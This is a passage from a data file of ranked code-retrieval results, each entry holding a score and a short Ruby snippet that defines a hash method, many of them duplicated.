"text": "def hash\n strs = []\n @data.each do |key, val|\n strs << \"#{key}:#{val}\"\n end\n \n return Digest::MD5.hexdigest(strs.join(\",\"))\n end",
"title": ""
},
{
"docid": "26fab0c477fbf1eaa413cec435e785b2",
"score": "0.62165993",
"text": "def hash\n 0\n end",
"title": ""
},
{
"docid": "a30d0436e65ea417acde925ec116bd81",
"score": "0.6200459",
"text": "def hash\n \"#{r}#{g}#{b}\".to_i\n end",
"title": ""
},
{
"docid": "818dfb991535496155f05f3aaf2ee71f",
"score": "0.61953914",
"text": "def hashes(data)\n m = @ba.size\n h = Digest::MD5.hexdigest(data.to_s).to_i(16)\n x = h % m\n h /= m\n y = h % m\n h /= m\n z = h % m\n [x] + 1.upto(@k - 1).collect do |i|\n x = (x + y) % m\n y = (y + z) % m\n x\n end\n end",
"title": ""
},
{
"docid": "0dbe2a68299399de67be9d62005975d7",
"score": "0.6193397",
"text": "def hash;0;end",
"title": ""
},
{
"docid": "da1ef4e12a36ac4c4dea1abaaaa01442",
"score": "0.6186627",
"text": "def hash\n (@w_cons.hash << 1) ^ (@l_cons.hash)\n end",
"title": ""
},
{
"docid": "40428d126b392ffa63fb6211fa8a7abe",
"score": "0.61641985",
"text": "def hash\n self.name.hash ^ self.quantity.hash\n end",
"title": ""
},
{
"docid": "ade7252bb75472492457acf34246a627",
"score": "0.6163741",
"text": "def hash\n p, q = 17, 37\n p = q * p + @type.hash\n p = q * p + @text.hash\n p = q * p + @scope.hash \n \n # bound the hash function by the TABLE_SIZE\n return (p % SymbolTable::TABLE_SIZE).to_i\n end",
"title": ""
},
{
"docid": "8a4c399d2f850a7a4f0b6b49022b5306",
"score": "0.6162648",
"text": "def hash\n @hash ||= attributes.hash\n end",
"title": ""
},
{
"docid": "27a979a095ad4d2ea547e0f70ee523b8",
"score": "0.6153602",
"text": "def hash(data)\n return @cryptoHlpr.hash(data);\n end",
"title": ""
},
{
"docid": "49ba1a71890db2ece4fc2f5b8fa7bfbd",
"score": "0.6148932",
"text": "def hash\n a = 0\n x = self\n while (x.is_a? Nydp::Pair)\n a = a + x.car.hash\n x = x.cdr\n end\n\n a + x.hash\n end",
"title": ""
},
{
"docid": "d0a318e82023fcd123ae6ecb01c98e5c",
"score": "0.61458766",
"text": "def hash\n [amount, currency_code].hash\n end",
"title": ""
},
{
"docid": "9df0e4212c3e7e4044bfc5a0b7827159",
"score": "0.6135497",
"text": "def hash\n fields.inject(0) do |hash, field|\n val = send(field.reader)\n hash ^= val.hash\n end\n end",
"title": ""
},
{
"docid": "ca9094ed78366cf05f9ee1f8157cf241",
"score": "0.61315036",
"text": "def calculate_hash(path)\n self.sha256 = Base64.urlsafe_encode64(Digest::SHA256.file(path).digest)\n end",
"title": ""
},
{
"docid": "c2d27642e27bfca3ffe38549f6aa7bad",
"score": "0.6122738",
"text": "def hash(obj)\n\th = Array.new(5){0};\n\n\tS.length.times do |i|\n\t\ttmp = 0\n\t\tmd5 = Digest::MD5.hexdigest(obj.to_s + S[i].to_s).unpack(\"B*\")\n\n\t\tmd5.to_s.each_char.with_index { |c, i|\n\t\t\tif c.to_i == 1 then\n\t\t\t \ttmp+=1\n\t\t\tend\n\t\t}\n\t\th[i] = (tmp + S[i]) % SIZE\n\tend\n\n\treturn h\nend",
"title": ""
},
{
"docid": "2d961b6e2140d06cbea083872286cb3a",
"score": "0.6106011",
"text": "def hash\n [c, cn, l, o, ou, st, alt_name].hash\n end",
"title": ""
},
{
"docid": "553adb68c66b5fd53bb111803a1522e7",
"score": "0.6105505",
"text": "def hash\n if @hash_value.nil?\n @hash_value = (name.hash * 53) ^ version.hash\n end\n @hash_value\n end",
"title": ""
},
{
"docid": "7928efc376f0faf1242c515eff8726be",
"score": "0.6101513",
"text": "def hash\n\t\treturn @hash if @hash && @frozen\n\t\t@hash = Digest::SHA2.digest(\"#{prev_hash}#{to_applied}\")[0,20]\n\tend",
"title": ""
},
{
"docid": "cfc6dc417597a326869f0520d2b7a33d",
"score": "0.60965824",
"text": "def hash\n id.hash ^ name.hash\n end",
"title": ""
},
{
"docid": "727b40f9aeaf16679278f4e7e7c6a588",
"score": "0.60937095",
"text": "def hash()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "727b40f9aeaf16679278f4e7e7c6a588",
"score": "0.60937095",
"text": "def hash()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "727b40f9aeaf16679278f4e7e7c6a588",
"score": "0.60922396",
"text": "def hash()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "66e7ebdc345bf94c9569cd44ad395546",
"score": "0.60905766",
"text": "def hash expr, algo = 'sha1'\n Expression.new(\"digest(#{expr}, '#{algo}')\", MM::DataType::TYPE_Binary, expr.is_mandatory, expr.is_array)\n end",
"title": ""
},
{
"docid": "ae1a628dcfbcd0df0510d0ce3bf0cde6",
"score": "0.60818595",
"text": "def hash=(_arg0); end",
"title": ""
},
{
"docid": "ae1a628dcfbcd0df0510d0ce3bf0cde6",
"score": "0.60818595",
"text": "def hash=(_arg0); end",
"title": ""
},
{
"docid": "ae1a628dcfbcd0df0510d0ce3bf0cde6",
"score": "0.60818595",
"text": "def hash=(_arg0); end",
"title": ""
},
{
"docid": "894795fad3b32518cf0703a24124af92",
"score": "0.6075113",
"text": "def hash(obj)\n obj = normalise(obj)\n indices = [Digest::SHA1, Digest::MD5].map do |hasher|\n hasher.digest(obj).unpack(\"N*\").reduce {|accum, n| (accum+n)%filter.length}\n end\n indices << Zlib::crc32(obj)\n pattern = empty_pattern(filter.length)\n indices.each {|index| pattern[index % filter.length ] = 1}\n pattern\n end",
"title": ""
},
{
"docid": "76bae4e708d6438223c6d05d0887eca4",
"score": "0.6067453",
"text": "def hash\n 1\n end",
"title": ""
},
{
"docid": "e5385afbbea601f0341f59fb5f186955",
"score": "0.6067202",
"text": "def hash(c: false)\n hashes = episodes.map{ |e| e.levels.map{ |l| l.hash(c: c) } }.flatten.compact\n return nil if hashes.size < 25\n work = 0.chr * 20\n 25.times.each{ |i|\n work = sha1(work + hashes[i], c: c)\n }\n work\n end",
"title": ""
},
{
"docid": "70e8e8129b7ac0d085db6fc9f1c925d8",
"score": "0.6062212",
"text": "def hash\n source.hash ^ (target.hash + 1)\n end",
"title": ""
},
{
"docid": "42c30805486259c5db0a4edf05c3e8d7",
"score": "0.6059452",
"text": "def hash\n result = 0\n @grid.each_with_index do |row, index|\n result += row.hash*((index+1))\n end\n result\n end",
"title": ""
},
{
"docid": "e45bf72e93ff7e4918f38aadaea715a8",
"score": "0.6053564",
"text": "def hash\n @cards.hash ^ @validator.hash\n end",
"title": ""
},
{
"docid": "8a12e998720d493bacf70b3981cb1e68",
"score": "0.60494065",
"text": "def calc_hash(line)\n string_hash = 0\n\n # convert each character to its UTF-8 value\n line.each_char do |x|\n string_hash += @stored_chars[x]\n end\n\n string_hash = string_hash % 65_536 # mod the string_hash for the final hash value\n string_hash.to_s(16) # convert line hash value to hex\n end",
"title": ""
},
{
"docid": "66d444cffb5f56cef1be39ac88b62b15",
"score": "0.6024324",
"text": "def hash\n self.class.identifying_role_names.map{|role_name|\n instance_variable_get(\"@#{role_name}\")\n }.inject(0) { |h,v|\n h ^= v.hash\n h\n }\n end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.